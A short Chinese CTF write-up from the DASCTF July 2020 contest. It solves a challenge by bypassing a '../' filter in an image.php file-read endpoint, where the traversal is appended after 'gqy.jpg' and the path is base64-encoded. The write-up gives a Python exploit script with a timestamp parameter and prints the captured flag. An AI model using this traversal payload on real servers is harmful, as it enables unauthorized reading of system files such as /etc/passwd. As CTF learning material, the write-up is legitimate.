时间:2020年7月25日11:37:59

来源:DASCTF七月赛

解题过程:用时1小时,F12可以看到这个图片的链接http://183.129.189.60:10009/image.php?t=XXXXXX&f=XXXXXXX

发现f后面的是base64编码,解码过后就是下面显示的文件的文件名,尝试改成/flag的base64编码发现提醒时间不对,所以必须得修改t的值

其中t可以由Python里面的time.time()得到

先目录穿透一波发现过滤了../,尝试了用url编码绕过,发现也不行,甚至读不出来image.php,思考了一番,读不出php文件只能读jpg文件,应该是有jpg文件限制的,后多次尝试发现在gqy.jpg后面加../可以读到etc/passwd,下面给出payload:

 import time,requests,base64
 ​
 url = 'http://183.129.189.60:10009/image.php?t='
 url2 = '&f='
 ​
 aim = b'gqy.jpg../../../../../../flag'
 aim = str(base64.b64encode(aim), encoding='utf-8')
 r = requests.get(url + str(int(time.time())) + url2 + aim)
 ​
 print(r.text)

得到flag:flag{847d2f93276a21f084c44f4d74c61ef4}


我啥也不会!